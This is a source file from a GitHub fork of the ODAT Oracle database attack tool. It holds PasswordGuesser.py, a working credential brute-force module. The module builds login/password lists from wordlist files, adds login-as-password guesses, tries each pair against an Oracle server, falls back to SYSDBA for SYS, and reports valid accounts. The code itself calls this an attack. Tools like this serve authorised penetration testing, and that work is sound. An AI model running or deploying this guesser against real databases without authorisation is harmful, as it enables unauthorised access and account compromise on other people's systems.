forked from quentinhardy/odat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PasswordGuesser.py
189 lines (178 loc) · 7.38 KB
/
PasswordGuesser.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/python
# -*- coding: utf-8 -*-
from OracleDatabase import OracleDatabase
from time import sleep
import logging, os.path
from Constants import *
from Utils import sidHasBeenGiven, stringToLinePadded, getCredentialsFormated
class PasswordGuesser (OracleDatabase):
'''
Password guesser
'''
def __init__(self,args,accountsFile,loginFile,passwordFile,loginAsPwd,timeSleep=0):
'''
Constructor
'''
OracleDatabase.__init__(self,args)
self.accountsFile = accountsFile
self.loginFile = loginFile
self.passwordFile = passwordFile
self.loginAsPwd = loginAsPwd
if self.accountsFile == '' : self.accounts = []
else : self.accounts = self.__getAccounts__()
self.valideAccounts = {}
self.args['SYSDBA'] = False
self.args['SYSOPER'] = False
self.timeSleep = timeSleep
def getAccountsFromFile (self):
'''
return list which contains accounts
'''
return self.accounts
def __getAccounts__(self):
'''
return list containing accounts
'''
accounts = []
logins, passwords, loginsAsPwdsLowercase, loginsAsPwdsUppercase = [], [], {}, {}
if self.accountsFile != None:
logging.info('Loading accounts stored in the {0} file'.format(self.accountsFile))
f = open(self.accountsFile)
for l in f:
lsplit = l.replace('\n','').replace('\t','').split('/')
if isinstance(lsplit,list) and len(lsplit) == 2 :
accounts.append([lsplit[0],lsplit[1]])
if lsplit[0] not in logins:
logins.append(lsplit[0])
loginsAsPwdsLowercase[lsplit[0]]=False
loginsAsPwdsUppercase[lsplit[0]]=False
if lsplit[0] == lsplit[1].lower():
if loginsAsPwdsLowercase[lsplit[0]]==False:
loginsAsPwdsLowercase[lsplit[0]]=True
if lsplit[0] == lsplit[1].upper():
if loginsAsPwdsUppercase[lsplit[0]]==False:
loginsAsPwdsUppercase[lsplit[0]]=True
f.close()
else:
logging.info('Loading logins stored in {0} and passwords stored in {1}'.format(self.loginFile, self.passwordFile))
f = open(self.loginFile)
for l in f:
aLogin = l.replace('\n','').replace('\t','')
if aLogin not in logins:
logins.append(aLogin)
loginsAsPwdsLowercase[aLogin]=False
loginsAsPwdsUppercase[aLogin]=False
f.close()
f = open(self.passwordFile)
for l in f: passwords.append(l.replace('\n','').replace('\t',''))
f.close()
for aLogin in logins:
for aPwd in passwords:
accounts.append([aLogin,aPwd])
if aLogin == aPwd.lower():
if loginsAsPwdsLowercase[aLogin]==False:
loginsAsPwdsLowercase[aLogin]=True
if aLogin == aPwd.upper():
if loginsAsPwdsUppercase[aLogin]==False:
loginsAsPwdsUppercase[aLogin]=True
if self.loginAsPwd == True:
logging.info('Each login not in credentials list is appended as password (in lowercase and uppercase)'.format())
for aLogin in logins:
if loginsAsPwdsLowercase[aLogin]==False:
accounts.append([aLogin,aLogin.lower()])
if loginsAsPwdsUppercase[aLogin]==False:
accounts.append([aLogin,aLogin.upper()])
logging.info ("{0} paired login/password loaded".format(len(accounts)))
return accounts
def searchValideAccounts(self):
'''
Search valide accounts
'''
userChoice = 1
logging.info("Searching valid accounts on {0}:{1}/{2}".format(self.args['server'], self.args['port'], self.args['sid']))
pbar,nb = self.getStandardBarStarted(len(self.accounts)), 0
for anAccount in self.accounts :
nb += 1
pbar.update(nb)
logging.debug("Try to connect with {0}".format('/'.join(anAccount)))
self.args['user'], self.args['password'] = anAccount[0], anAccount[1]
self.__generateConnectionString__()
status = self.__saveThisLoginInFileIfNotExist__(self.args['user'])
if self.args['force-retry'] == False and status == False and userChoice ==1:
userChoice = self.__askToTheUserIfNeedToContinue__(self.args['user'])
if userChoice == 0 :
logging.info("The attack is aborded because you choose to stop (s/S)")
break
status = self.connection()
if status == True:
self.valideAccounts[self.args['user']] = self.args['password']
logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr']))
self.args['print'].goodNews(stringToLinePadded("Valid credentials found: {0}. Continue... ".format('/'.join(anAccount))))
elif "connection as SYS should be as SYSDBA or SYSOPER" in str(status):
logging.debug("Try to connect as sysdba")
self.args['SYSDBA'] = True
status = self.connection()
if status == True:
self.valideAccounts[self.args['user']] = self.args['password']
logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr']))
self.args['SYSDBA'] = False
elif self.__needRetryConnection__(status) == True:
status = self.__retryConnect__(nbTry=4)
self.close()
sleep(self.timeSleep)
pbar.finish()
return True
def __saveThisLoginInFileIfNotExist__(self,login):
'''
Save this login in the trace file to known if this login has already been tested
If the login is in the file , return False. Otherwise return True
'''
if self.args.has_key('loginTraceFile') == False:
self.args['loginTraceFile'] = "{0}-{1}-{2}{3}".format(self.args['server'],self.args['port'],self.args['sid'],PASSWORD_EXTENSION_FILE)
if os.path.isfile(self.args['loginTraceFile']) == False:
f=open(self.args['loginTraceFile'],'w')
f.close()
logging.info("The {0} file has been created".format(self.args['loginTraceFile']))
f=open(self.args['loginTraceFile'],'r')
for l in f:
aLoginInFile = l.replace('\n','')
if login == aLoginInFile :
f.close()
return False
f.close()
f=open(self.args['loginTraceFile'],'a')
f.write('{0}\n'.format(login))
f.close()
return True
def __askToTheUserIfNeedToContinue__(self,login):
'''
Ask to the user if the module need to continue
return:
- 0 : stop (no)
- 1 : continue and ask again (yes)
- 2 : continue without ask (yes)
'''
def askToContinue ():
rep = raw_input("The login {0} has already been tested at least once. What do you want to do:\n- stop (s/S)\n- continue and ask every time (a/A)\n- continue without to ask (c/C)\n".format(login))
if rep == 's' or rep == 'S' : return 0
elif rep == 'a' or rep == 'A' : return 1
elif rep == 'c' or rep == 'C' : return 2
else : return -1
rep = askToContinue()
while (rep==-1):
rep = askToContinue()
return rep
def runPasswordGuesserModule(args):
'''
Run the PasswordGuesser module
'''
if sidHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT
args['print'].title("Searching valid accounts on the {0} server, port {1}".format(args['server'],args['port']))
if args['accounts-files'][0] != None and args['accounts-files'][1] != None : args['accounts-file'] = None
passwordGuesser = PasswordGuesser(args, accountsFile=args['accounts-file'], loginFile=args['accounts-files'][0], passwordFile=args['accounts-files'][1], timeSleep=args['timeSleep'], loginAsPwd=args['login-as-pwd'])
passwordGuesser.searchValideAccounts()
validAccountsList = passwordGuesser.valideAccounts
if validAccountsList == {}:
args['print'].badNews("No found a valid account on {0}:{1}/{2}. You should try with the option '--accounts-file accounts/accounts_multiple.txt' or '--accounts-file accounts/logins.txt accounts/pwds.txt'".format(args['server'], args['port'], args['sid']))
else :
args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], args['sid'],getCredentialsFormated(validAccountsList)))